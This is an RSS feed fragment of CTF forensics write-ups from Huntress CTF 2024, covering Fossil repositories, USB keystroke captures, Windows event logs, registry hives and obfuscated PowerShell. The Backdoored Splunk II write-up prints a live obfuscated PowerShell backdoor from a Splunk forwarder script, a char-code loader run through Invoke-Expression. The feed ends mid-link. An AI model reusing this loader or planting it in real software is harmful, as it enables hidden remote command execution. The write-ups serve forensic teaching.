            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*oPqa8L7BZbnMwwl8XDvT2g.png" /></figure><blockquote>All things are lost to time…</blockquote><p><strong>Ancient Fossil</strong> was a Forensics challenge released on Day #24 of the Huntress Capture the Flag (CTF) competition. We were provided a <a href="https://fossil-scm.org/home/doc/hierarchical-manifests/www/fileformat.wiki">Fossil repository file</a>, ancient.fossil, and tasked with finding the flag within the repository.</p><p>Using the fossil command-line tool, we see that there are 403 commits within the timeline:</p><pre>$ fossil timeline -n 0 --type ci -R ancient.fossil | grep &#39;^20&#39; | wc -l<br>403</pre><p>We then used the deconstruct option to extract all of the file artifacts from the repository:</p><pre>$ fossil deconstruct -R ancient.fossil .</pre><p>With all of these artifacts now extracted, we then searched recursively for the flag via grep:</p><pre>$ grep -R &quot;flag&quot; .</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WpBkr9XoS2MOhn89ZQhV9g.png" /><figcaption>Extracting artifacts via fossil and searching for the flag</figcaption></figure><pre>flag{2ed33f365669ea9f10b1a4ea4566fe8c}</pre><h3>References</h3><p><strong>[1]</strong> Fossil. <em>Fossil File Formats</em>. <a href="https://fossil-scm.org/home/doc/hierarchical-manifests/www/fileformat.wiki">https://fossil-scm.org/home/doc/hierarchical-manifests/www/fileformat.wiki</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a9a507bbf5e4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Keyboard Junkie Writeup | Huntress CTF 2024]]></title>
            <link>https://0xh4lpy.medium.com/keyboard-junkie-writeup-huntress-ctf-2024-ab8cbec6a687?source=rss-5d9a5820a49c------2</link>
            <guid isPermaLink="false">https://medium.com/p/ab8cbec6a687</guid>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[capture-the-flag]]></category>
            <category><![CDATA[writeup]]></category>
            <dc:creator><![CDATA[0xh4lpy]]></dc:creator>
            <pubDate>Fri, 01 Nov 2024 19:01:16 GMT</pubDate>
            <atom:updated>2024-11-01T19:01:16.255Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*W9rzUas6RCSIDX6jWsGW9w.png" /></figure><blockquote>My friend wouldn’t shut up about his new keyboard, so…</blockquote><p><strong>Keyboard Junkie</strong> was a Forensics challenge released on Day #14 of the Huntress Labs Capture the Flag (CTF) competition. We were provided a PCAP file, keyboard_junkie, containing a the communication of a keyboard via USB and tasked with extracting the keys pressed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*mbWvXUPFa5tJ7JN0xdlsuQ.png" /><figcaption>Wireshark: Snapshot of the USB communication packets</figcaption></figure><pre>$ file keyboard_junkie.pcap<br>keyboard_junkie.pcap: pcap capture file, microsecond ts (little-endian) - version 2.4 (Memory-mapped Linux USB, capture length 245824)</pre><p>This is a fairly common CTF challenge, so there are good tools and documentation to help solve it <strong>[1]</strong>. The encoded keystrokes correspond to the data shown in table 12 within the <a href="https://usb.org/sites/default/files/documents/hut1_12v2.pdf">USB HID Usage Tables</a>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/779/1*Y8fH4nI1xV5XsVvsaHRPFg.png" /><figcaption>USB HID Usage Tables: Table 12 showing key to hex mapping</figcaption></figure><p>To solve this, I first used tshark to extract the keypresses to a file, keystrokes.txt and then used <a href="https://github.com/TeamRocketIst/ctf-usb-keyboard-parser">ctf-usb-keyboard-parser by TeamRocketIst on GitHub</a> to decode the keypresses from hex:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Czebbq_pjNFS_4SpL3K86w.png" /><figcaption>tshark and ctf-usb-keyboard-parser to get the flag</figcaption></figure><pre>flag{f7733e0093b7d281dd0a30fcf34a9634}</pre><h3>References</h3><p><strong>[1]</strong> HackTricks. <em>USB Keystrokes</em>. <a href="https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/usb-keystrokes">https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/usb-keystrokes</a></p><p><strong>[2]</strong> Universal Serial Bus (USB) Hid Usage Tables. <a href="https://usb.org/sites/default/files/documents/hut1_12v2.pdf">https://usb.org/sites/default/files/documents/hut1_12v2.pdf</a></p><p><strong>[3]</strong> TeamRocketIst — GitHub. <em>ctf-usb-keyboard-parser</em>. <a href="https://github.com/TeamRocketIst/ctf-usb-keyboard-parser">https://github.com/TeamRocketIst/ctf-usb-keyboard-parser</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ab8cbec6a687" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Nightmare on Hunt Street Writeup | Huntress Labs CTF 2024]]></title>
            <link>https://0xh4lpy.medium.com/nightmare-on-hunt-street-writeup-huntress-labs-ctf-2024-0cdb519299ee?source=rss-5d9a5820a49c------2</link>
            <guid isPermaLink="false">https://medium.com/p/0cdb519299ee</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[capture-the-flag]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <dc:creator><![CDATA[0xh4lpy]]></dc:creator>
            <pubDate>Fri, 01 Nov 2024 19:01:14 GMT</pubDate>
            <atom:updated>2024-11-01T19:01:14.295Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/920/1*LG_XTptf-k4PLz56Z2MExQ.png" /></figure><blockquote><em>DeeDee hears the screams,<br> In the logs, a chilling trace — <br> Freddy’s waiting near.</em></blockquote><p><strong>Nightmare on Hunt Street</strong> was a Forensics challenge released on Day #3 of the Huntress Labs Capture the Flag (CTF) competition. It comprised five parts derived from three provided files: Application.evtx, Security.evtx, and System.evtx.</p><p>Upon opening the files in <strong>Event Log Explorer</strong>, we found Application.evtx to be empty, leaving us just to investigate the Security and System logs.</p><h3>(1) <strong>What is the IP address of the host that the attacker used?</strong></h3><p>In the Security logs, we observed a large number of Event ID (EID) <a href="https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4776">4776</a> and <a href="https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4625">4625</a> events within a short timeframe, which indicated a bruteforce attack. The target user was consistently identified as Jsmith.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*utuqpz7kDVDDBqfRkbXDdw.png" /><figcaption>Sample of EID 4776 and 4625 corresponding to a brute force attack</figcaption></figure><p>From EID <a href="https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4625">4625</a>, we noted that the remote hostname was KALI, while EID <a href="https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4776">4776</a> events attributed the IP address 10.1.1.42 to this system:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*xNdMEFO9ZnxmLijAGeqG3Q.png" /><figcaption>EID 4776 shows remote threat actor’s hostname is “KALI”</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/906/1*1xFt-ejr_OX3xQ3_LjRjQg.png" /><figcaption>EID 4625 shows the source IP address is 10.1.1.42</figcaption></figure><blockquote>10.1.1.42</blockquote><h3>(2) <strong>How many times was the compromised account brute-forced?</strong></h3><p>There were three major spikes in events between <strong>2024–09–24 12:06:30</strong> to <strong>2024–09–24 12:07:10</strong> resulting in a total of 65 events across both EID <a href="https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4776">4776</a> and EID <a href="https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4625">4625</a>.</p><p>Filtering specifically for EID <a href="https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4625">4625</a>, which corresponds to “An account failed to log on”, we get 32 attempts to bruteforce the Jsmith account. A successful logon occurred at <strong>2024–09–24 21:07:10</strong>, as recorded by a EID <a href="https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4624">4624</a> event.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/906/1*bK9EA9AKmsTIPioLx7jdPw.png" /><figcaption>EID 4624 showing the threat actor successfully logged in as Jsmith</figcaption></figure><blockquote>32</blockquote><h3>(3) <strong>What is the name of the offensive security tool that was used to gain initial access?</strong></h3><p>Pivoting to the System logs, we noticed two EID 7045 events, indicating a service installation on the system. Both events were linked to the Security Identifier (SID) S-1–5–21–3792037069–2078677046–3387239386–1000 which belongs to Jsmith .</p><p>These events also occurred after the successful logon by the attacker at <strong>2024–09–24 21:08:18</strong> and <strong>2024–09–24 21:11:18</strong> and were treated with suspicion, as the Jsmith user was known to be compromised.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Pmqkwbs4T42VoIcktWAxOQ.png" /><figcaption>Cross-correlating EID 4624 and 7045 confirms the service creation aligns to Jsmith</figcaption></figure><p>Examining the service creation events, we found that the executable names were randomised 8-character strings: MrEQbpfX[.]exe and wgWMRHln[.]exe. This service names were similarly randomised, with 4-characters names: WREx and fdpa.</p><p>Research into these patterns confirmed the attack tool used was <a href="https://github.com/fortra/impacket">Impacket</a>, specifically PSEXEC which creates and subsequently deletes a Windows service with a random 4-character mixed-case name referencing an 8-character mixed-case name within %SystemRoot% <strong>[1]</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q1ZhwLayshjri6DpvXh4vA.png" /><figcaption>Naming conventions of installed services are confirmed to be the result of impacket-psexec execution</figcaption></figure><blockquote>impacket-psexec</blockquote><h3>(4) <strong>How many unique enumeration commands were run with </strong><strong>net.exe?</strong></h3><p>Returning to the Security logs, we filtered for “net.exe” starting from the logon time of Jsmith . Several EID <a href="https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4688">4688</a> events aligned to process creation revealed the following enumeration commands:</p><pre>net user<br>net localgroup<br>net share</pre><p>These commands enumerated local useres, local groups, and available shares on the system, confirming further malicious activity after Jsmith was compromised.</p><blockquote>3</blockquote><h3><strong>(5) What password was successfully given to the user created?</strong></h3><p>Further investigation of EID <a href="https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4688">4688</a> events following the enumeration activity revealed the creation of a new user at <strong>2024–09–24 21:09:49</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P2N149pRpdjs4NAz5LgyPg.png" /><figcaption>EID 4688 show the creation of a new administrator user</figcaption></figure><p>The new user was named susan_admin, with the password SusanIsStrong123.</p><blockquote>SusanIsStrong123</blockquote><h3>Summary</h3><p>In this challenge, we used Event Log Explorer to identify a remote attacker who had brute-forced the Jsmith user’s credentials. The attacker leveraged Impacket’s PSEXEC module to gain initial access into the environment and performed further reconnaissance using net.exe commands to enumerate local users, groups, and shares. Finally, the attacker added a high-privileged user, susan_admin, for persistence.</p><p>Below are some resources that were helpful during the invesigation:</p><p><strong>[1]</strong> <em>Impacket Exec Commands Cheat Sheet — 13Cubed</em>. <a href="https://13cubed.s3.amazonaws.com/downloads/impacket_exec_commands_cheat_sheet.pdf">https://13cubed.s3.amazonaws.com/downloads/impacket_exec_commands_cheat_sheet.pdf</a></p><p><strong>[2]</strong> U<em>ltimate Windows Security — Windows Event IDs</em>. <a href="https://www.ultimatewindowssecurity.com/">https://www.ultimatewindowssecurity.com/</a></p><p><strong>[3]</strong> <em>Security Identifiers (SIDs) — Microsoft Documentation</em>. <a href="https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-identifiers">https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-identifiers</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0cdb519299ee" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Zimmer Down Writeup | Huntress Labs CTF 2024]]></title>
            <link>https://0xh4lpy.medium.com/zimmer-down-writeup-huntress-labs-ctf-2024-31ed7d86a751?source=rss-5d9a5820a49c------2</link>
            <guid isPermaLink="false">https://medium.com/p/31ed7d86a751</guid>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[capture-the-flag]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[0xh4lpy]]></dc:creator>
            <pubDate>Fri, 01 Nov 2024 19:01:11 GMT</pubDate>
            <atom:updated>2024-11-01T19:01:11.578Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/918/1*Lo8MeeCNdYoBywDGXuJ6uw.png" /></figure><blockquote>A user interacted with a suspicious file on one of our hosts.<br> The only thing we managed to grab was the user’s registry hive.<br> Are they hiding any secrets?</blockquote><p>Zimmer Down was a Forensics challenge released on Day #8 of the Huntress Labs Capture the Flag (CTF) competition. We were provided an NTUSER.DAT file and tasked with finding a suspicious file that the user interacted with.</p><p>Given the challenge name, we opened the using <a href="https://ericzimmerman.github.io/#!index.md">Eric Zimmerman’s Registry Explorer</a> to examine its contents. The NTUSER.DAT file stores user-specific settings and configurations located within the user’s profile folder. In digital forensics, it can provide valuable information about user activity, particularly in relation to files that may have been accessed. When combined with other artifacts, this information can help prove how a user behaved on the system in question.</p><p>For the scope of this challenge, we focused on files and folders that the user had accessed. There are various ways to track this information, but it is most commonly recorded by the RecentDocs registry key located at \Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs, grouped by file extension.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/523/1*BcTrst8iwaLd9b87hSRnng.png" /><figcaption>RecentDocs within Registry Explorer</figcaption></figure><p>In Registry Explorer, we noted 28 entries across 12 extensions, the first of which, .b62 , contained an unusual file VJGSuERgCoVhl6mJg1x87faFOPIqacI3Eby4oP5MyBYKQy5paDF[.]b62 which was opened on <strong>2024–10–02 02:47:01</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Cxriy3otM78B6pvTiTxvuA.png" /><figcaption>Unusual file within .b62 directory grouping</figcaption></figure><p>Taking the name of this file and assuming that the extension indicated it was encoded with Base62, we decoded it to retrieve the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/1*CEDN-0VbflqVzpIylAqD5w.png" /><figcaption>CyberChef using “From Base62” to decode the file name</figcaption></figure><blockquote>flag{4b676ccc1070be66b1a15dB601c8d500}</blockquote><p>Below are some resources that were helpful during the challenge:</p><p><strong>[1]</strong> Registry Explorer — Eric Zimmerman. <a href="https://ericzimmerman.github.io/#!index.md">https://ericzimmerman.github.io/#!index.md</a></p><p><strong>[2]</strong> CyberChef — GCHQ. <a href="https://cyberchef.org/">https://cyberchef.org/</a></p><p><strong>[3]</strong> Windows Registry Documentation — Microsoft. <a href="https://learn.microsoft.com/en-us/troubleshoot/windows-server/performance/windows-registry-advanced-users">https://learn.microsoft.com/en-us/troubleshoot/windows-server/performance/windows-registry-advanced-users</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=31ed7d86a751" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Obfuscation Station Writeup | Huntress Labs CTF 2024]]></title>
            <link>https://0xh4lpy.medium.com/obfuscation-station-writeup-huntress-labs-ctf-2024-9d798a99f6db?source=rss-5d9a5820a49c------2</link>
            <guid isPermaLink="false">https://medium.com/p/9d798a99f6db</guid>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[capture-the-flag]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <dc:creator><![CDATA[0xh4lpy]]></dc:creator>
            <pubDate>Fri, 01 Nov 2024 19:01:06 GMT</pubDate>
            <atom:updated>2024-11-01T19:01:06.988Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/910/1*xn66SwheXcUs5McWwxmXwA.png" /></figure><p><strong>Obfuscation Station</strong> was a Forensics challenge released on Day #13 of the Huntress Labs Capture the Flag (CTF) competition. We were provided a Zip archive containing a PowerShell script, chal.ps1, and tasked with decoding the script to find the flag.</p><p>Opening the file showed a single line of PowerShell with a calls to IO modules which indicate the string is Base64-encoded and compressed:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kaUnUhk_Tp__AvwsI9PFcg.png" /><figcaption>Content of chal.ps1</figcaption></figure><p>We then used Python to reverse the encoding and compression to get the flag:</p><pre>import zlib<br>import base64<br><br>base64_string = &quot;UzF19/UJV7BVUErLSUyvNk5NMTM3TU0zMDYxNjSxNDcyNjexTDY2SUu0NDRITDWpVQIA&quot;<br><br>compressed_data = base64.b64decode(base64_string)<br><br># &#39;wbits=-zlib.MAX_WBITS&#39; needed when a raw deflate stream is used<br>decompressed_data = zlib.decompress(compressed_data, wbits=-zlib.MAX_WBITS)<br><br>original_text = decompressed_data.decode(&#39;ascii&#39;)<br><br>print(original_text)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/519/1*DRF9zcDz3xVkPTh3ZxTsyQ.png" /><figcaption>Reversing the process to get the flag</figcaption></figure><pre>flag{3ed675ef0343149723749c34fa910ae4}</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9d798a99f6db" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Backdoored Splunk II Writeup | Huntress Labs CTF 2024]]></title>
            <link>https://0xh4lpy.medium.com/backdoored-splunk-ii-writeup-huntress-labs-ctf-2024-5293745564b3?source=rss-5d9a5820a49c------2</link>
            <guid isPermaLink="false">https://medium.com/p/5293745564b3</guid>
            <category><![CDATA[capture-the-flag]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[0xh4lpy]]></dc:creator>
            <pubDate>Fri, 01 Nov 2024 19:01:04 GMT</pubDate>
            <atom:updated>2024-11-01T19:01:04.795Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/910/1*scaafQ5JLXq3lrFdATCvMA.png" /></figure><blockquote>You’ve probably seen Splunk being used for good, but have you seen it used for evil?</blockquote><p><strong>Backdoored Splunk II</strong> was a forensics challenge released on Day #20 of the Huntress Labs Capture the Flag (CTF) competition. We were given a Zip file, Splunk_TA_windows.zip, containing a <a href="https://www.splunk.com/en_us/blog/learn/splunk-universal-forwarder.html">Windows Splunk Forwarder</a> and tasked within identifying a malicious backdoor. This challenge was a sequel to the <strong>Backdoored Splunk</strong> challenge from last year’s CTF.</p><p>Upon extracting the file, we found the following directory structure:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/231/1*J5CBOcEubl_kEq8exvf0tQ.png" /><figcaption>Directory structure of provided Zip archive</figcaption></figure><p>Inside the bin\ directory, we discoverd several Batch and PowerShell scripts responsible for the core functionality of the forwarder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/315/1*xWWR61Aa0bwDifRBOrOyfw.png" /><figcaption>bin\ folder of Batch and PowerShell scripts</figcaption></figure><p>While reviewing the files, we identified a sucpisious line within dns-health.ps1 that converts a list of numeric values, concatenates them with [STRinG]::JoIN and executes through Invoke-Expression .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nYRPiX45LafQ8hGGum7-8g.png" /><figcaption>Suspicious Line in dns-health.ps1</figcaption></figure><pre>[STRinG]::JoIN(&#39;&#39;,[chAr[]](36 , 79 ,83 , 86, 69 ,82 ,32, 61,32,39 , 105, 101, 120 , 32 , 40 ,91 ,83 , 121 , 115 , 116,101 , 109, 46,84 ,101 ,120 , 116 ,46,69 ,110 ,99, 111 , 100, 105 ,110 ,103 ,93, 58 ,58 ,85, 84,70 , 56,46,71 ,101 ,116,83,116, 114 , 105 , 110, 103 ,40 , 91 , 83 ,121 , 115 ,116, 101, 109 , 46 ,67 ,111, 110,118 , 101, 114 ,116 , 93, 58 ,58, 70,114 ,111, 109 ,66,97 , 115, 101,54, 52 , 83 , 116 , 114 ,105 , 110,103,40 ,34,73,121 , 65 , 107,85, 69 , 57 , 83,86 ,67 ,66 ,105,90 ,87, 120, 118 , 100,121, 66,112 ,99,121 , 66 ,107 ,101, 87 , 53 , 104,98 ,87 , 108 , 106, 73 , 72 , 82 , 118 ,73, 72,82 , 111, 90 , 83, 66, 121 , 100 , 87, 53 , 117 ,97 , 87 , 53 , 110, 73,72 ,78, 108 ,99, 110 , 90 , 112, 89,50 ,85 , 103, 98 ,50 ,89,103 , 100,71,104 ,108,73, 71 ,66 , 84, 100, 71, 70 , 121 , 100 ,71 , 65, 103, 89, 110,86,48, 100,71 , 57, 117 , 68, 81, 112,65 ,75 , 67,82,111 ,100 ,71 ,49 , 115 ,73 , 68,48,103, 75 ,69, 108,117,100, 109 ,57,114 , 90 , 83 , 49,88, 90 ,87,74,83,90, 88, 70, 49, 90,88, 78 ,48, 73,71 ,104 ,48 ,100,72 , 65 , 54 ,76, 121, 57,106 , 97,71, 70,115,98 ,71, 86 ,117 , 90, 50,85 ,117,89 , 51 ,82,109,76 ,109, 100, 104,98 ,87 ,86, 122 ,79 , 105, 82 ,81 ,84 , 49,74, 85 , 73,67,49 ,73 , 90 ,87 ,70,107 , 90, 88 , 74,122 ,73,69, 66 ,55 ,81 ,88 , 86 ,48 ,97 ,71 ,57 , 121 ,97,88, 112,104, 100 ,71 ,108, 118,98,106 , 48 ,111,73 ,107, 74, 104,99,50 ,108,106,73,70, 108 , 116, 82,109,112 ,104, 77 ,108, 74 ,50 ,89,106 ,78 , 74 ,78,109 ,82, 72 , 97,72, 66, 106 ,77 , 84 ,108 ,119, 89 , 122,69, 53,77 , 71 , 70 , 72 ,86, 109,90, 104 , 83 , 70,73,119 ,89 , 48, 89 , 53 ,101 ,108, 112, 89 , 83 , 106,74 , 97, 87 ,69,112 , 109 ,89 ,122, 74,87 ,97, 109,78, 116, 86,106 , 65, 105,75, 88 , 48, 103 , 76,86 ,86 ,122, 90 , 85,74 , 104 ,99, 50,108, 106 ,85, 71, 70 ,121,99,50 , 108 , 117 , 90,121 , 107 ,117, 81,50 ,57,117, 100, 71 , 86 , 117, 100 , 65, 48 , 75,97 , 87,89 ,103, 75 ,67, 82 , 111,100 ,71 , 49, 115 ,73 ,67,49 ,116 , 89 , 88, 82,106 ,97 , 67 , 65,110, 80, 67 , 69 , 116 , 76,83 , 103, 117 , 75 ,106 , 56 ,112 ,76 , 83,48,43,74,121 , 107 ,103 , 101,119 ,48 ,75, 73,67 , 65 ,103,73 , 67 , 82, 50,89 ,87, 120,49 ,90 ,83, 65 , 57 , 73, 67, 82, 116 ,89, 88 , 82,106 ,97 ,71, 86,122, 87, 122,70,100 , 68, 81 ,111,103 , 73 ,67,65 , 103 , 74 , 71, 78 ,118, 98 ,87 ,49, 104 ,98 ,109 ,81, 103,80 , 83 , 66, 98 ,85 , 51 , 108, 122 , 100 ,71,86, 116, 76,108 ,82, 108 , 101,72,81,117 ,82,87 ,53 ,106 ,98 , 50, 82 , 112 ,98,109 ,100,100 , 79 , 106 , 112 ,86 ,86 , 69 , 89,52 ,76,107 , 100,108, 100 , 70, 78,48 ,99,109 , 108,117 , 90 , 121, 104 , 98 , 85, 51, 108 ,122, 100, 71, 86, 116 , 76 , 107, 78 ,118 ,98, 110,90, 108 , 99, 110,82,100, 79,106,112, 71,99,109, 57, 116 , 81 , 109 , 70 , 122 , 90 , 84,89 , 48 , 85, 51 , 82,121 , 97 ,87,53, 110,75,67,82 ,50,89 , 87 , 120 , 49 ,90 , 83 , 107 ,112 ,68, 81,111, 103 , 73, 67, 65 ,103 ,83 ,87, 53 ,50 , 98 , 50, 116 , 108, 76,85,86 , 52 ,99 ,72, 74 ,108, 99,51 ,78, 112 ,98, 50 , 52 , 103, 74, 71, 78,118, 98, 87 , 49 ,104 ,98, 109 ,81 , 78 ,67 ,110,48 , 112 , 34,41, 41 , 41,39 )) | &amp;( $PsHomE[21]+$PsHoMe[30]+&#39;X&#39;)</pre><p>We extracted the numbers inside the brackets and used <a href="https://gchq.github.io/CyberChef/#recipe=Remove_whitespace(true,true,true,true,true,false)Find_/_Replace(%7B&#39;option&#39;:&#39;Regex&#39;,&#39;string&#39;:&#39;,&#39;%7D,&#39;%20&#39;,true,false,true,false)From_Decimal(&#39;Space&#39;,false)&amp;input=MzYgLCA3OSAsODMgLCA4NiwgNjkgLDgyICwzMiwgNjEsMzIsMzkgLCAxMDUsIDEwMSwgMTIwICwgMzIgLCA0MCAsOTEgLDgzICwgMTIxICwgMTE1ICwgMTE2LDEwMSAsIDEwOSwgNDYsODQgLDEwMSAsMTIwICwgMTE2ICw0Niw2OSAsMTEwICw5OSwgMTExICwgMTAwLCAxMDUgLDExMCAsMTAzICw5MywgNTggLDU4ICw4NSwgODQsNzAgLCA1Niw0Niw3MSAsMTAxICwxMTYsODMsMTE2LCAxMTQgLCAxMDUgLCAxMTAsIDEwMyAsNDAgLCA5MSAsIDgzICwxMjEgLCAxMTUgLDExNiwgMTAxLCAxMDkgLCA0NiAsNjcgLDExMSwgMTEwLDExOCAsIDEwMSwgMTE0ICwxMTYgLCA5MywgNTggLDU4LCA3MCwxMTQgLDExMSwgMTA5ICw2Niw5NyAsIDExNSwgMTAxLDU0LCA1MiAsIDgzICwgMTE2ICwgMTE0ICwxMDUgLCAxMTAsMTAzLDQwICwzNCw3MywxMjEgLCA2NSAsIDEwNyw4NSwgNjkgLCA1NyAsIDgzLDg2ICw2NyAsNjYgLDEwNSw5MCAsODcsIDEyMCwgMTE4ICwgMTAwLDEyMSwgNjYsMTEyICw5OSwxMjEgLCA2NiAsMTA3ICwxMDEsIDg3ICwgNTMgLCAxMDQsOTggLDg3ICwgMTA4ICwgMTA2LCA3MyAsIDcyICwgODIgLCAxMTggLDczLCA3Miw4MiAsIDExMSwgOTAgLCA4MywgNjYsIDEyMSAsIDEwMCAsIDg3LCA1MyAsIDExNyAsOTcgLCA4NyAsIDUzICwgMTEwLCA3Myw3MiAsNzgsIDEwOCAsOTksIDExMCAsIDkwICwgMTEyLCA4OSw1MCAsODUgLCAxMDMsIDk4ICw1MCAsODksMTAzICwgMTAwLDcxLDEwNCAsMTA4LDczLCA3MSAsNjYgLCA4NCwgMTAwLCA3MSwgNzAgLCAxMjEgLCAxMDAgLDcxICwgNjUsIDEwMywgODksIDExMCw4Niw0OCwgMTAwLDcxICwgNTcsIDExNyAsIDY4LCA4MSwgMTEyLDY1ICw3NSAsIDY3LDgyLDExMSAsMTAwICw3MSAsNDkgLCAxMTUgLDczICwgNjgsNDgsMTAzLCA3NSAsNjksIDEwOCwxMTcsMTAwLCAxMDkgLDU3LDExNCAsIDkwICwgODMgLCA0OSw4OCwgOTAgLDg3LDc0LDgzLDkwLCA4OCwgNzAsIDQ5LCA5MCw4OCwgNzggLDQ4LCA3Myw3MSAsMTA0ICw0OCAsMTAwLDcyICwgNjUgLCA1NCAsNzYsIDEyMSwgNTcsMTA2ICwgOTcsNzEsIDcwLDExNSw5OCAsNzEsIDg2ICwxMTcgLCA5MCwgNTAsODUgLDExNyw4OSAsIDUxICw4MiwxMDksNzYgLDEwOSwgMTAwLCAxMDQsOTggLDg3ICw4NiwgMTIyICw3OSAsIDEwNSwgODIgLDgxICw4NCAsIDQ5LDc0LCA4NSAsIDczLDY3LDQ5ICw3MyAsIDkwICw4NyAsNzAsMTA3ICwgOTAsIDg4ICwgNzQsMTIyICw3Myw2OSwgNjYgLDU1ICw4MSAsODggLCA4NiAsNDggLDk3ICw3MSAsNTcgLCAxMjEgLDk3LDg4LCAxMTIsMTA0LCAxMDAgLDcxICwxMDgsIDExOCw5OCwxMDYgLCA0OCAsMTExLDczICwxMDcsIDc0LCAxMDQsOTksNTAgLDEwOCwxMDYsNzMsNzAsIDEwOCAsIDExNiwgODIsMTA5LDExMiAsMTA0LCA3NyAsMTA4LCA3NCAsNTAgLDg5LDEwNiAsNzggLCA3NCAsNzgsMTA5ICw4MiwgNzIgLCA5Nyw3MiwgNjYsIDEwNiAsNzcgLCA4NCAsMTA4ICwxMTksIDg5ICwgMTIyLDY5LCA1Myw3NyAsIDcxICwgNzAgLCA3MiAsODYsIDEwOSw5MCwgMTA0ICwgODMgLCA3MCw3MywxMTkgLDg5ICwgNDgsIDg5ICwgNTMgLDEwMSAsMTA4LCAxMTIsIDg5ICwgODMgLCAxMDYsNzQgLCA5NywgODcgLDY5LDExMiAsIDEwOSAsODkgLDEyMiwgNzQsODcgLDk3LCAxMDksNzgsIDExNiwgODYsMTA2ICwgNjUsIDEwNSw3NSwgODggLCA0OCwgMTAzICwgNzYsODYgLDg2ICwxMjIsIDkwICwgODUsNzQgLCAxMDQgLDk5LCA1MCwxMDgsIDEwNiAsODUsIDcxLCA3MCAsMTIxLDk5LDUwICwgMTA4ICwgMTE3ICwgOTAsMTIxICwgMTA3ICwxMTcsIDgxLDUwICw1NywxMTcsIDEwMCwgNzEgLCA4NiAsIDExNywgMTAwICwgNjUsIDQ4ICwgNzUsOTcgLCA4Nyw4OSAsMTAzLCA3NSAsNjcsIDgyICwgMTExLDEwMCAsNzEgLCA0OSwgMTE1ICw3MyAsNjcsNDkgLDExNiAsIDg5ICwgODgsIDgyLDEwNiAsOTcgLCA2NyAs